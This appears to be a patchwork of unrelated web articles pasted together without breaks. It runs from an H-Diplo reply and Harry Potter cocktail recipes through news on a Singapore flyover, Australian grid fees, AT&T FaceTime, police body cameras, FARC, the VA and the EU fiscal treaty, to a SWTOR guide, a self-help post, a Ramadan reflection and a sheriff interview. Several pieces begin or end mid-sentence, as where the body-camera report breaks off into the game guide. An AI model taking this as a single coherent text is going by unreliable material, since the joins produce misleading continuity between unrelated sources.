Finally, Scotto asks whether, given our work, there remains a role for the starting beliefs that individuals have about foreign policy. To answer, we do not see ourselves as displacing the extant literature on the structure of citizens’ foreign policy attitudes regarding the desirability of military readiness or appetite for conflict. We do think we have something to say about the deeper origins of these attitudes and when they are likely to influence actual foreign policy. Specifically, we would argue that to a certain extent these attitudes are endogenous to institutions. To the extent that they are not, institutions then shape the degree to which these public preferences and beliefs are subsequently manifested in actual policy, or are ignored.
In closing, we appreciate the thought-provoking engagement with our arguments, and H-Diplo’s role in convening this conversation.Who said the Harry Potter craze was just for children? You may not want to dress up as your favorite Hogwarts character or eat a vomit flavored jelly bean, but you can still celebrate the literary masterpiece with these Harry Potter-inspired cocktails. Each one will have you spell bound and wishing for just one more book.
The goblet of fire
With this fiery beverage comes great responsibility. Only it will know if you are prepared for the ultimate battle of wizardry. This spicy cocktail isn’t for the faint of heart, only try it if you dare.
Serves 1
Ingredients:
1 ounce vodka
7 ounces Bloody Mary mix
1 tablespoon fresh squeezed lime juice
A teaspoon of hot pepper sauce
A sprinkle of black pepper
Lime
Asparagus spears
High proof alcohol like 151 or Everclear
Directions:
Fill a glass with ice and add the ingredients to the cup. Garnish with lime and an asparagus spear. Drizzle with a high proof alcohol and light on fire. Don’t attempt to drink your fiery drink until the flames have burnt out or you’ll be expelled from Hogwarts.
Moaning Myrtle
This ghostly cocktail may seem sweet at first sight, but don’t let it’s invisible exterior fool you. The fizzy flavor will sneak up on you when you least expect it. The good news is you don’t have to hang out in the ladies’ bathroom to find this martini and you won’t want to avoid it either.
Serves 1
Ingredients:
2 ounces Champagne
1 ounce vodka
2 ounces white grape juice
Purple sugar
Optional: Dry Ice
Direction:
Pour a small amount of grape juice onto a plate and a small amount of purple sugar on a different plate. Dip the rim of the glass in the juice and then in the sugar until the rim is coated. Add vodka, white grape juice, and ice to a martini shaker and shake until chilled. Pour into the martini glass and add the chilled champagne. For a ghostly effect add a small piece of dry ice.
Butterbeer-tini
Celebrate the Harry Potter way with this adult version of one of the Hogwarts clan’s favorite beverages. If this can quench the thirst of wizards, there is no doubt you’ll love it too.
Serves 1
Ingredients:
2 ounces vodka
1 ounce butterscotch schnapps
2 ounces cream soda
1 ounce half and half
Butter
Sugar
Directions:
Melt a small piece of butter on a plate and pour some sugar on a separate plate. Dip the rim of your glass in the butter and then the sugar to coat the rim. Pour vodka, butterscotch schnapps, cream soda and half and half into a martini shaker filled with ice. Shake lightly until combined and chilled. Pour the mixture into the glass and serve.
Dementor’s Kiss
Have your wands ready and start practicing your patronus spell! This creamy delight is evilly delicious and it will steal your soul with just one sip.
Serves 1
Ingredients:
1-1/2 ounce crème de cocoa
1 ounce vodka
1 ounce coffee liqueur
2 ounces of half and half
Cinnamon
Directions:
Pour a small amount of half and half onto a plate and some cinnamon on a different plate. Dip the rim of your glass in the half and half and then in the cinnamon. Mix the crème de cocoa, vodka, coffee liqueur, and half and half into a martini shaker filled with ice. Shake until it is combined and chilled. Pour into the cinnamon rimmed glass and serve.
The mojito that must not be named
Sip this if you dare but whatever you do, do not mention its name or you’ll bring evil upon us all. You should avoid this mojito if you have a lightning bolt-shaped scar on your forehead.
Serves 1
Ingredients:
2 ounces clear rum
1 tablespoon lemon juice
1 tablespoon honey
2 tablespoons fresh chopped basil
8 ounces club soda
Frozen raspberries
Directions:
Add rum, lemon juice, honey and fresh basil to a glass. Muddle the mixture with a pestle or spoon in order to crush the basil and blend the flavors together. Add ice, a small handful of frozen raspberries and fill the glass with soda water. Stir the mixture and serve.
More harry potter funThe Ministry of Manpower (MOM) has issued a stop-work order against Singapore firm Feng Ming Construction (FMC), the main contractor of the Braddell Road flyover project, after a random spot check on Feb 23.
This means the completion date for the flyover project, designed to ease congestion around Braddell Road, will be pushed back from end-March.
In a reply to The Straits Times, an MOM spokesman said: "MOM discovered that shoring was not provided at excavated areas when required and the excavation (works) were not constructed in accordance with the professional engineer's design.
"Materials were placed on excavation struts, which exposed persons working below to the risk of being hit by falling objects."
The inspection did not come about because of an incident, The Straits Times understands.
Work at Braddell Road project halted, with no expected completion date given https://t.co/jPU6FAuSOY pic.twitter.com/UdQR8pjvZh — The Straits Times (@STcom) March 7, 2017
The project was initially slated for completion in end-2015. The completion date was pushed to the end of last year, before the promise of an opening at the end of this month.
Nearby residents express frustration
The duration of the stop-work order (SWO) depends on how long it takes the company to rectify the safety breaches.
SAFETY LAPSES MOM discovered that shoring was not provided at excavated areas when required and the excavation (works) were not constructed in accordance with the professional engineer's design. AN MOM SPOKESMAN
"Once MOM is satisfied that all has been resolved, the stop-work order will be lifted," the spokesman said.
The Land Transport Authority (LTA) has not fixed a date for the completion of the project, a spokesman said. It had previously insisted the project was still on track for completion this month.
Responding to queries, the LTA confirmed that the project will be delayed and said it will work with FMC to fix the safety lapses "so that work can resume as soon as possible".
Its spokesman said: "Construction of the flyover has been challenging as works are being done during limited hours to minimise traffic disruption to commuters, as well as noise and dust disamenities to nearby residents." The LTA will announce the revised opening date for the flyover after further assessment, he added.
The public works project has had a rocky path since it began in 2012. The first contractor, Hexagroup, won a $29 million tender but ran into financial difficulties.
DUST, DUST AND MORE DUST When they said the flyover will be completed by March, I thought that we won't have to sweep our floor daily of construction dust for long. Now, there isn't even a date to look forward to. MR FRANCIS CHUA, a retiree who lives near the work site.
This led to a temporary stoppage of work, ending hopes of meeting the initial completion target. Hexagroup is now in the process of winding up.
A second tender, for $29.9 million, was awarded to FMC in 2015. Works were expected to be completed by the end of last year - but the deadline was again extended, this time to March. This was partly owing to problems associated with the handover from Hexagroup, a source in FMC previously told The Straits Times.
FMC could not be reached for comment about the SWO.
The project includes the construction of a single-lane flyover to directly connect vehicles turning right from Lorong 6 Toa Payoh with the Braddell underpass towards Paya Lebar, without their having to join traffic heading towards the Central Expressway.
Braddell Road will also be expanded from its dual three lanes to a dual five-lane carriageway. Two new pedestrian bridges will connect Bishan and Braddell.
When The Straits Times visited the site last week, sections of the flyover looked unfinished and parts of the new pedestrian bridges were still missing.
Related Story New Braddell Flyover to open on June 11 after repeated delays
Residents in the 10 blocks near the work site were frustrated when told of the delay, complaining about the dust and noise.
Retiree Francis Chua, 65, said: "When they said the flyover will be completed by March, I thought that we won't have to sweep our floor daily of construction dust for long. Now, there isn't even a date to look forward to."The main lobby group for electricity network operators in Australia is pushing for compulsory connection fees for all homes and businesses – even if they are not connected to the grid – and penalties for those who choose to disconnect, as part of a last-ditch effort to protect their declining revenue streams.
The Energy Networks Association says the proposals are deliberately calibrated to stop people from leaving the grid, and kicking off what is often described as the “death spiral”, as the networks seek to recover lost revenues from those consumers who remain.
The change to a decentralised grid, based around solar and storage rather than big centralised generation, is seen as inevitable, and many analysts say that networks – which in Australia account for more than half of most bills following a massive ($45 billion) and questionable spending splurge in recent years – will have to change the way they do business, or even write down the value of their assets.
But the networks are digging in, refusing to countenance write-downs, and now want consumers to pay for the networks whether they use them or not. Alternatively, they want any households that leave the grid to pay their “historic” share of grid capacity as a penalty for leaving.
Grid defection is likely to become a real option for many consumers, because of the huge falls in the cost of rooftop solar PV, and the falling cost of battery storage. Soaring network fees and rising fixed charges is reducing the pay-back for solar-only installations, but is likely to encourage more battery storage.
As well, many households currently receiving high solar tariffs – such as the 160,000 households in NSW – are looking to battery storage to avoid the situation where they are exporting their solar power back to the grid for little or no compensation.
The networks are worried that, as network fees continue to rise and battery storage and solar costs continue to fall, it could be economic for individual households and businesses to quit the grid altogether, rather than pay high fixed charges.
Some analysts say this could happen within years, driven by technology breakthroughs, and the mass-market uptake of battery storage caused by new arrivals such as the Tesla PowerWall. They say it will be accelerated by the recent moves to lift network charges, and to increase the fixed component of those charges, meaning that consumers that use less electricity get hit twice as hard.The he-said, she-said banter may end soon about whether AT&T is breaching so-called net neutrality rules by limiting the use of iPhone's FaceTime video calling on cellular networks to customers who sign up for new, shared data plans.
Online rights groups said Tuesday they are asking the Federal Communications Commission to weigh in on the matter. By rule, Public Knowledge, Free Press and the New America Foundation's Open Technology Institute can file their net neutrality complaint with the FCC in 10 days because the clock started ticking when the groups notified the nation's second-largest carrier of their intent Tuesday.
To date, Apple's FaceTime, which allows live video conversations between users of Apple devices, has worked only over Wi-Fi. But Apple is changing that, opening the Skype-like service to function over cellular connections. The change comes when Apple's newest mobile-phone operating system debuts Wednesday and will spread even wider once the new iPhone 5 starts landing in hands Friday.
AT&T says it will make the video-chat service available on its cellular network for those with generally more expensive, shared data plans, which the company unveiled last month. (There are some configurations where the shared plan is less expensive for the same service for individuals).
Among other things, the company says that it is simply a business decision to use FaceTime as a hostage to move recalcitrant customers to a new plan.
At issue are FCC net neutrality rules that went into effect in November.
The rules prohibit DSL and cable companies from unfairly blocking services they don’t like and require them to be transparent about how they manage their networks during times of congestion.
Mobile carriers like AT&T and Verizon face fewer rules, but are banned from interfering with alternate calling services such as Skype that compete with the carriers' services. The groups say FaceTime counts as this kind of alternate calling service and thus is protected by the net neutrality rules.
The nation's largest carrier, Verizon, and the third largest, Sprint, won't limit FaceTime over cellular. T-Mobile, the smallest of the Big Four carriers, does not carry the iPhone.
AT&T said the main reason why there is no breach of the Federal Communications Commission's net neutrality rules is because the FaceTime application comes pre-installed on iPhones, a position the digital rights groups scoffed at.
The regulations, however, do allow for certain kinds of mobile network management during periods of congestion, but these cannot unfairly target services that compete with the carriers' own services.Four takeaways on Metro’s body camera pilot project
Touting body cameras as the greatest technological advancement since the police radio, Metro Police officials on Wednesday announced the start of their federally sponsored study for the gadgets.
The study, which was initially scheduled to begin by February, is part of a pilot program for the $1.6 million camera system that outfits 197 officers who work in the northeast valley and in West Las Vegas.
At a media show and tell on Wednesday, police officers demonstrated the cameras and simulated officer-involved shootings to show how the cameras work.
Here are four takeaways on the presentation:
The research project, carried out by the National Institutes of Justice and CNA Analysis and Solutions, will examine the camera’s effects on perceptions of officer misconduct and their potential impact on police relations with the public.
“No study has looked at a jurisdiction as large or laborious as Las Vegas,” said Bill Sousa, a UNLV criminal justice professor who is helping oversee the project.
Sousa said the study will examine the behavior of two groups of officers who are participating in the study — 197 are wearing cameras, while 190 are not.
Sousa previously told the Sun that the study could have some surprising results. Anecdotal evidence from earlier studies suggests the cameras could lead officers to dole out more citations for minor infractions.
Metro has gotten some federal funding for the project, but most of the money will probably ultimately come from its budget. The most expensive part of the project is the software and wiring for the camera system.
The U.S. Department of Justice gave Metro a $107,000 grant for the program, and local officials are trying to secure an additional $95,000 grant. That funding only covers a fraction of the project’s $1.6 million cost.
Each camera costs about $500 apiece. But the system to support the cameras is far more expensive. That includes wiring, software and an video archive system. The pilot project's wiring |
is that the Cooldowns are now very well timed and we are able to usse pretty much all of our “big” skills on CD (spam them). The spec plays out much more fluent and is a lot more fun to play. Also easier to master. Not much. It’s still considered the toughest of all 3.
Even though Force Leap is now unusable from meleerange, the focus building possibilities are much bigger compared do 3.0 and even before that. A lot less fillers are expected to be used now (Slash).
After the 30% mark of our target’s HP bar, the Dispatch comes into play. It is, just like in 3.0, the main filler for this last stage of the fight. When it procs (2 stacks from Accelerating Victory), it becomes a good damage booster, but it should still only be considered a secondary ability and used as a filler. Main priority remains keeping the DoTs up and using Merciless Slash on CD.
Parsing
I upload all my new Boss Kill Videos (HM+) with a detailed Combat Log. The screenshots are only available below my videos here on my website. You can check out both my end results and how I reached the numbers, what role I played in the fight, how I did it and so on.
Since I rushed the guide due to an increbidly high demand and questions from many of you (thank you for relying on my work and content!), I am unable to provide you with decent parses at the moment of writing the guide. Using a mixed balanced set of 198/216/220. I was able to peak at 6.2k with an old 192 MH, haven’t tried a Dummy parse since obtaining the 220 (how I got it, look here :P). The leaderboards on the official forums state that with optimized 224 set the Watchman damage should be around 6700-6900, possibly even over 7000 with some luck and incredibly precise ability-usage.
CONCLUSIONS
Why Watchman Over Other Specs
While lacking on the burst factor and high numbers per ability, Watchman excels in sustained damage dealing and offers great survivability with its self and group heals. It is not limiting the mobility of the user, allows for both single and AoE damage. Most of all it is a much more complex and entertaining spec compared to what it was in Shadow of Revan and 3.X SWTOR era. I seriously urge any and all who have played it before to give it one more try. It’s a guarantee that you will like it and some may even fall in love with it. There are bugs (global ones or personal to the discipline) at the time of writing the guide, but they do not ruin the fun of melting and burning like a champion once again. The spec is very much on par with the rest of the disciplines, performs nicely in suitable boss encounters and offers decent challenge in mastering it.
About This Guide
This guide is based on my personal experience with Watchman from the first days into 4.0. Most of the tests were done with the old 198 set bonus and balanced, yet not perfect mix of mods spaning from 198 to 220. It is unwise to think my guide is perfect. Don’t believe the person who tells you they have nothing to learn any more. That is foolish. We all learn new things every day.
This is a guide, not a rule or a law. It is not meant to give you orders and tell you how to play. With it I want to give you directions and share my experience, while leaving enough room for each player’s individual style to shine.
Thanks and Sources
For various topics and calculations I have used the following sources to prove and confirm my tests, expectations, predictins, results:
After you finished this guide, I’d like to invite you to take a look at the huge amount of tutorials, overviews, walkthroughs and all kinds of other helpful (hopefully) videos I have created for SWTOR Patch 4.0 Knights of the Fallen Empire
Shop Related ProductsSome school libraries are reporting big drops in the number of books teens are reading, and they're blaming social media and computer games for the fall.
They said the trend could be harming young people's ability to read long texts, use correct grammar and spelling, and succeed in life.
Photo: 123rf
Librarian at Marlborough Girls' College Colleen Shipley said the number of books issued at her school reached a high point of 13,420 in 2011.
But since then, issue numbers have plummeted by a third, or nearly 5000 books, to sit at 8942 last year.
Ms Shipley said it was partly because the English curriculum covered fewer novels than in the past, but the main culprit was social media.
"Some girls will read off their phones, but they're not reading books.
"They're reading off social media, they're reading fan fiction and if you have a snapshot look at that type of reading that they're doing, it's bad - the grammar's bad, the spelling's bad," she said.
"The big worry is that if they're not reading in print with long passages of reading, they lose the ability to concentrate for that length of time, and that is going to affect them if they want to go on to tertiary education."
Wellington High School librarian Jane Shallcrass said she too had noticed a fall in the number of books teens were reading.
She said research showed those who stopped reading for pleasure did not do as well in life as those who kept reading.
"That's not just in their literacy, but in all their school subjects and then in life after school.
"So whether they go into tertiary education or they don't, the reading habit means they'll be more successful in their job, they'll be more successful in their relationships."
School Library Association president Miriam Tuohy said book issues had been falling at her school, Palmerston North Girls' High School.
She said teens' reading habits had changed, but she was not sure that was a problem.
"I'm not one of those people that thinks it's a terrible, terrible thing that people are reading shorter texts per se.
"As long as these young people are reading something they enjoy, and they're not out of the habit of reading itself - that's where you don't want to end up."
And not all librarians have noticed a decline in book issues.
Dunedin's Kings High School librarian Bridget Schaumann said there had been no drop at her school.
"If anything, our stats have steadily risen over the last five years."
But she said librarians needed to be able to get in front of students in order to promote the books on their shelves and have a good budget, so they could buy what teens want to read.A splinter group of the Revolutionary Armed Forces of Colombia (FARC) rebel front said on Wednesday it will not participate in a ceasefire agreement with the government, potentially derailing a resolution to nearly five decades of violent internal conflict in the South American nation.
In a statement, the Armando Rios First Front — a 200-member division of FARC — said it will not lay down arms and will continue its battle against the administration of President Juan Manuel Santos, according to Reuters.
“We have decided not to demobilize, we will continue the fight for the taking of power by the people for the people, independent of the decision taken by the rest of the members of the organization,” the statement said.
The peace deal was announced two weeks ago following more than three years of dialogue between the two sides.
The splinter group said it was calling on other FARC groups to pull out of the deal as well, reports Reuters.
[Reuters]Hillary Clinton on Wednesday called for the Supreme Court to uphold the concept of “one person, one vote” after the court held oral arguments on Tuesday for a case that could change the way electoral districts are drawn and therefore who elected officials represent.
“In the Supreme Court yesterday, parties challenging Texas’ Senate apportionment plan insisted that political representation in our democracy should be based on eligible voters, instead of total population,” Clinton said in a statement. “This change would mean that many in America, including children and non-citizen residents, would no longer be counted for purposes of representation in every state in the country.”
“Such measures are an insult to the millions of Americans who have fought throughout our history for our country to achieve equality and justice for all people,” she continued. “The Supreme Court should protect political equality and turn away this harmful and reckless attempt to write off so many.”
In the case, Evenwel v. Abbott, the challengers argue that Texas’ redistricting plan using total population is unconstitutional, suggesting that the state instead use citizens or those eligible to vote to determine electoral districts. A decision in favor of the challengers could impact areas with large numbers of undocumented immigrants and convicted felons.Buy Photo Daniel Dellinger, American Legion national commander. (Photo: Charlie Nye / The Star)Buy Photo
In a rare move, one of America’s largest veteran organizations on Monday demanded the resignation of U.S. Veterans Affairs Secretary Eric Shinseki amid allegations that medical treatment delays have caused the deaths of scores of veterans.
Daniel Dellinger, national commander of the American Legion, called for Shinseki and two of his top lieutenants — Robert Petzel and Allison Hickey — to step down immediately.
It’s the first time the veterans group, with 2.4 million members, has called for the resignation of a public official in more than 30 years.
“Patient deaths are tragic, and preventable patient deaths are unacceptable,” Dellinger said Monday at the group’s headquarters in Indianapolis. “But the failure to disclose safety information, or worse, to cover up mistakes, is unforgivable — as is fostering a culture of nondisclosure.”
The call for resignations comes amid reports that veterans across the nation have died because of screening and treatment delays at the VA.
Dellinger, who was visibly angry as he delivered his remarks, called the demand for Shinseki’s resignation one of the most difficult decisions he has ever made.
But as new reports surfaced, including a USA TODAY report that found some VA clerks were trained to falsify records, the decision became inevitable, Dellinger said. The group sent its demand to President Obama on Monday.
Following Dellinger’s announcement, U.S. Rep. Jackie Walorski, R-Jimtown, added her voice to those calling for Shinseki’s resignation. Walorski is a member of the House’s Veteran Affairs Committee.
“There is no excuse of delayed care for the millions of men and women who have fought and defended our country,” she said. “Nowhere else in the country would this lack of accountability and transparency be allowed.”
Indiana’s U.S. senators, Dan Coats and Joe Donnelly, both expressed outrage about recent reports and called for accountability at the VA.
“A proper investigation will tell us who is responsible for this calamity and, therefore, who should lose their jobs,” said Donnelly, a Democrat.
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VA officials revealed last month that the deaths of 32 veterans were linked to delayed cancer screenings dating back four years.
More recently, a retired doctor, Sam Foote, alleged that 40 other veterans died because of treatment delays at a VA hospital in Phoenix. VA officials say there’s no evidence to support those claims, but the hospital administrator was placed on leave pending an investigation by the agency’s inspector general.
USA TODAY also reported that a VA investigation at one of its outpatient clinics in Colorado found that clerks were instructed last year how to falsify appointment records to make it appear the small staff of doctors was seeing patients within the agency’s goal of 14 days.
At the same time, Dellinger said, VA executives received sterling performance reviews and bonuses of more than $60,000.
The VA defended Shinseki’s leadership in a statement Monday evening, noting accomplishments that include a 24 percent reduction in veteran homelessness.
“The Department of Veterans Affairs takes any allegations about patient care or employee misconduct very seriously,” said Drew Brookie, a spokesman for the VA. “If the VA Office of Inspector General’s investigation substantiates allegations of employee misconduct, swift and appropriate action will be taken. Veterans deserve to have full faith in their VA care.”
VA officials also pointed out that not all veterans organizations are on the same page.
William Thien, national commander of the Veterans of Foreign Wars, said it disagrees with the Legion’s call for Shinseki’s resignation.
“It is paramount that Secretary Shinseki get publicly in front of this immediately to address the valid concerns of veterans and their families, and to re-establish the credibility of the entire VA health and benefits systems, and that of his own office,” Thien said.
Records obtained by the Center for Investigative Reporting show that the VA has paid out more than $200 million in wrongful-death claims to the families of nearly 1,000 veterans since the Sept. 11, 2001, terrorist attacks.
Those payments included $1.4 million for 13 wrongful deaths in Indiana. Eight of those cases involved the VA Medical Center in Indianapolis.
USA TODAY contributed to this story. Call Star reporter Tony Cook at (317) 444-6081. Follow him on Twitter: @indystartony.
Read or Share this story: http://indy.st/1kOWx1aI don’t know about you, but I’ve been itching to make a change. But for some or other reason I’ve been perfectly happy with playing it small at work, home and life in general. This is something I’ve been struggling with, so let’s make sense of it together…
5 Reasons Why You Are Happy With Playing It Small
Fear of the Unknown
One of the biggest reasonswhy I think people are playing the supporting actor/actresses in their own lives is because they are afraid. We don’t recognize how powerful we can be, should we get the chance to control the dialogue in our own lives. The unknown is exactly that – a world that hasn’t been explored. Instead of approaching it with fear, we can approach it with curiosity. With the right state of mind and go-getter attitude you are capable of planting your flag in the abyss.
The fact of the matter is, life is full of changes and we aren’t in control of what happens on the outside. But we can manage what is happening on the inside. Find a way to connect with your inner being and practice being at peace with yourself, your capabilities and your disposition- that will lead to fulfillment and open up a world of possibilities.
Fear of Failure
It’s always easier to stay average. Instead of taking risks and leaps of faith you could just stay warm and dry in your restrictive comfort zone. My life seems to be dictated by the things that I fear. Whether I am too afraid to sleep alone at night or afraid to complain when someone gets my order wrong; I’m taking a step back in my own life.
Every time that you allow fear to take the steering wheel, you are driving in the wrong direction. Fear of failure will steer you closer to the self doubt and insecurity day by day.
I don’t believe that all fears need to faced, but this one in particular is crucial. The only way to overcome the fear of failure is to fail, and as often as possible. This way you will become accustomed to the feeling and it won’t be a source of intimidation. This might not be easy to apply, but if you have nothing to lose you will start feeling deliberated.
What Others Might Think
This doesn’t just apply to your career or work situation, but to life in general. Fear of what others might think has become increasing real in today’s social media sphere. We are so busy with documenting our every move that the opinion of one stranger on the other side of the world can make us change our minds. We need to re-establish confidence in ourselves and our ideas. People will rejoice when you fail and envy you when you succeed. I’m not saying that man is inherently evil; I’m just saying that people are competitive.
You can choose to feed your haters by showing them that you are intimidated or you can earn respect by being different. I tend to over think every little decision that I make. Instead of owning up to my choices and opinions I always consider those of others. This will only lead to more self-doubt and confusion. It is time to focus on your wants and needs and not what others want for you.
A Lack of Commitment
The reason why you are still playing it small is because you aren’t committed. You might feel that you aren’t ready or prepared for being successful. Sounds strange? I’ve always been afraid of reaching my potential. Instead of giving 100%, I would rather give 80% and not disappoint myself when the client isn’t happy. Would you want others to do the same with you? Don’t you expect others to give you 100% in return?
If you make a commitment to yourself and others that you are willing to give your best in everything that you pursue; you might be pleasantly surprised. In order to honour this commitment you have to establish ways in which you will hold yourself accountable.
A Lazy Lifestyle
The word ‘lazy’ is a term that I’m really sensitive to. For some or other reason creatives get easily branded by this term. Just because you don’t work the way others do, doesn’t meant that you aren’t productive. But, and this is a big BUT; don’t start using your supposed work methods as a way of saving yourself from doing too much.
I’ve touched on this topic in my post on staying productive while you don’t have work, but it has become increasingly relevant in my freelance career. Instead of blaming your lack of creativity on your lack of immediate work you can see this as an opportunity to evolve as a person.
I’ve been playing it small for way too long. It’s rather embarrassing not living up to your full potential and as they say: “Your playing small doesn’t serve the world”.
I’d love to hear how you plan on making some changes in your life and career so that we can hold each other accountable.
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All European Union states except Britain moved toward setting up a new treaty Friday, giving up crucial powers over their own budgets in an attempt to overcome a crippling debt crisis.
Who's in it?
All 17 countries that use the euro are definitely signing up. Nine non-euro states - Denmark, Latvia, Lithuania, Poland, Romania, Bulgaria, Hungary, Sweden and the Czech Republic - said they would consult their parliaments before joining in. In some of those countries, however, parliaments are less than enthusiastic.
Who's not in it?
The U.K. gave a clear "no" after it failed to get the eurozone to approve special safeguards for its financial center from EU regulation. U.K. to eurozone nations: We're out, good luck
Why did Europe need a new treaty?
For the past two years, the countries that share the euro have been rocked by a debt crisis that has recently threatened the survival of the common currency itself. Germany and France in particular argued that only tough rules enshrined in a treaty would convince markets that all countries will be able to repay their debts and a similar crisis will never happen again.
How will that be achieved?
Debt brakes in national constitutions, with countries committing to keep their deficits below 0.5 percent of economic output. That cap can only be broken in exceptional circumstances or to counteract a recession. The European Court of Justice will make sure all states' debt brakes are effective.
More automatic penalties for deficit sinners: It will be more difficult for countries to stop one of their partners from being punished for breaking the EU's debt and deficit rules. In the past, governments often protected their partners from being sanctioned.
All states have to tell their partners in advance how much debt they plan to take on through bond sales.
What else did they decide?
The eurozone, together with other willing EU states, will give as much as 200 billion euros to the International Monetary Fund, so that the IMF can help beef up the eurozone's firewalls.
The eurozone's new, permanent bailout fund, the European Stability Mechanism, will take over from the current rescue fund, the European Financial Stability Facility, one year ahead of schedule, in July 2012. Unlike the EFSF, a hastily set up private company owned by all eurozone states, the ESM is a permanent organization run by governments. It also has paid-in capital, similar to a bank, and is therefore more credible on financial markets.
Decision-making in the ESM was simplified in emergency situations, giving a majority of 85 percent of capital holders the power to decide on giving a struggling country a bailout. That is meant to stop small countries from blocking or slowing down urgent rescues, as has happened in the past.
The eurozone scaled back the rules to force banks and other private investors to take losses when a country gets a bailout from the ESM. The previous push to inflict losses on bondholders has been blamed for exacerbating the crisis.
What did they fail to agree on?
Eurozone leaders did not decide to boost the overall firepower of their own bailout funds, which is currently limited to euro500 billion. They promised to reconsider that cap in March, shortly before the ESM comes into force.
They did not give a clear signal that the European Central Bank will take on a bigger role in fighting the crisis by buying up bonds from struggling countries on a massive scale to keep their funding costs in check.
They did not agree to more intrusive powers for the European Commission over the fiscal policies of wayward states, as had been demanded by European Council President Herman Van Rompuy and some nations. Instead, they promised to "examine swiftly" much more lenient proposals from the Commission.
They did not allow the bailout funds to directly recapitalize failing banks. That could have prevented countries from taking on more debt when they have to bail out lenders.
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Alhamdulillah Allah has blessed us all to reach another Ramadan, so let us reflect on exactly how amazing this month really is. This article will be the first of a series of Ramadan posts where we will discuss its many different facets.
Ramadan combines personal sacrifice, remembrance of others less fortunate than ourselves, prayer, supplication, forgiveness, forbearance, sincerity of worship to the One who deserves to be worshipped alone without partners, and countless other beautiful traits. No wonder Allah chose this particular form of worship to be for Him alone. The Prophet Muhammad ﷺ said that Allah said:
“Every act of the Son of Adam is for him, they are multiplied in their reward from ten to seven hundred times, except the fast, which is (exclusively) for Me, and I will reward him for it. The person observing the fast abstains from food and drink only for My sake.” (Al-Bukhari and Muslim)
The fast is unlike any other act of worship, because it is truly for Allah alone. This cannot be said for the prayer, charity, Hajj, or any other act of worship, because a man might pray to Allah so that people can say he is pious, or give charity so people can say he is generous, and so on. The fast, on the other hand, is for Allah alone, because no one but Allah and yourself know whether you are truly fasting or not. If you wanted you could easily eat and drink when nobody is watching. Therefore, if you start the day fasting and you end the day fasting then you did that for no other reason than for fear of Allah’s punishment and hope for His reward.
Because of this Allah said “and I will reward him for it”, this doesn’t mean that the reward for other good deeds come from other than Allah, instead it means that Allah will reward the fasting person without limit. Allah in His complete wisdom and generosity rewards the believer from 10 to 700 times for any regular good deed that is performed, but the fast, due to its excellence, may be infinitely rewarded.
The Prophet ﷺ also told us about this truly special month that:
“When Ramadan begins, the gates of Jannah are opened, the gates of Hell are locked, and the devils are chained.” (Al-Bukhari and Muslim)
Allah opens the gates to Heaven during Ramadan due to all the good deeds that are done during this time and as an incentive to the doers of good deeds; He locks the gates of Hell due to the lack of bad deeds done by the believers, and He chains the devils so that they are unable to lure and tempt the people who are fasting to disobey Allah.
Ramadan is a joyous month for the believer, the Prophet Muhammad ﷺ said that:
“The fasting person experiences two joys: when he breaks his fast he feels joy, and when he meets his Lord.” (At-Tirmidhi)
The fasting person feels joy that Allah blessed him to reach another Ramadan, guided him and gave him the desire to fast for His sake and he feels joy on the Day of Judgment when his fast stands as a witness for him and he is called to enter Heaven. The Prophet ﷺ said:
“The fast and the Quran will stand as witnesses for the slave on the Day of Judgment. The fast will say, ‘Indeed my Lord, I prevented him from his food and desires, so allow me to intercede for him’, and the Quran will say, ‘I prevented him from sleep at night, so allow me to intercede for him’ and they will both be allowed to intercede.” (Ahmad)
And Prophet ﷺ said:
“In Jannah there is a gate which is called Ar-Rayaan through which only those who used to fast will enter on the Day of Resurrection. It will be called out, ‘Where are those who used to fast?’ So they will stand up and proceed towards it. When the last of them will have entered, the gate will be closed and then no one will enter through that gate.” (Al-Bukhari and Muslim)
Brothers, we have reached a great month full of blessings, mercy and forgiveness, but you can’t receive these blessings unless you perform your fast in the right way, keeping to the etiquettes of Ramadan, so strive to perform your fast in the best way, stick to its boundaries and limitations, and seek forgiveness from Allah for any shortcomings during this month.
And don’t miss the next installment of the TMM Ramadan Series where we will be talking about the obligations and sunan of the fast to help you perfect your blessings and reward.
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Image: Designed by FreepikCLOSE Maricopa County Sheriff-elect Paul Penzone discusses his win over incumbent Joe Arpaio on Nov. 9, 2016. Thomas Hawthorne/azcentral.com
Newcomer sets vision of a MCSO without Sheriff Joe Arpaio
Maricopa County Sheriff-elect Paul Penzone defeated six-term Sheriff Joe Arpaio on Nov. 8, 2016. Penzone came to The Arizona Republic newsroom the next day to talk about his election. (Photo: David Wallace/The Republic)
Former Phoenix police Sgt. Paul Penzone soundly defeated incumbent Maricopa County Sheriff Joe Arpaio Tuesday night, preventing a seventh term for the 84-year-old lawman.
Penzone sat down with The Arizona Republic fresh off his win Wednesay afternoon to talk about his plans for a MCSO without Sheriff Joe.
(An abridged transcript of the interview is below. Watch the video above to see the full interview.)
ELECTION RESULTS: Vote tallies from top Arizona races, including Maricopa County
It was your second time running against Sheriff Joe Arpaio in this race. (Penzone narrowly lost in 2012.) What made you challenge him again this year?
It was about unfinished business. For me personally, I haven’t seen a change — from that office, from the leadership, from my opponent — that was truly intended to serve our community.
It wasn’t an easy decision, because it affects me and my family in a lot of ways that are personal in nature. But at the end of the day, if you’re not willing to fight for something you believe in, and that matters, for service of others, then really what contribution are you making to the community or to society? As a law-enforcement professional, it’s important to me.
So, it was one of those things I knew what I would face. (It) didn’t make it any easier, but it was something that we had to do and that I had to do.
You are going to inherit at least a couple of high-profile lawsuits. How do you plan to tackle these cases, comply with the court orders, while also learning your position?
Democrat Paul Penzone celebrates his victory over incumbent Sheriff Joe Arpaio in the Maricopa County Sheriff's race during an election-night event hosted Tuesday by the Arizona Democratic Party. (Photo: Michael Chow/The Republic)
It’s a lot. It’s a lot to take on, and that’s why it’s important for me to have a strong evaluation of the hierarchy there to make sure that we have the right people in the right places. That our direction is one that’s new, and it’s appropriate and just.
When it comes to those lawsuits though, whether you own them or they’re your responsibility, you have to own up and address them. And you have to address them in a fashion that you minimize the damage that is done, not only to those you impacted, but the financial damage.
So what I have to do is be very progressive and aggressive with the training implementation. Because … (the Sheriff's Office is) not even into code yet, they’re not in compliance. We have to get to compliance as quickly as possible.
And my hope is that if we do such a good job that maybe we can sit down and have a conversation with the courts and the ACLU, and prove... we’re exceeding those expectations, and see if we can shorten the scale from three years maybe down to two or even less.
(The goal would be) to relieve that financial burden on our taxpayers, which is unfair and it affects us. It affects the safety of our children. It affects other areas where those dollars could be more effectively spent.
You have leverage to choose many of your own aides. Do you foresee management changes?
It’s really dependent on those that are there and their skill sets, how they’ve earned those positions, and what they’re willing to embrace them going forward.
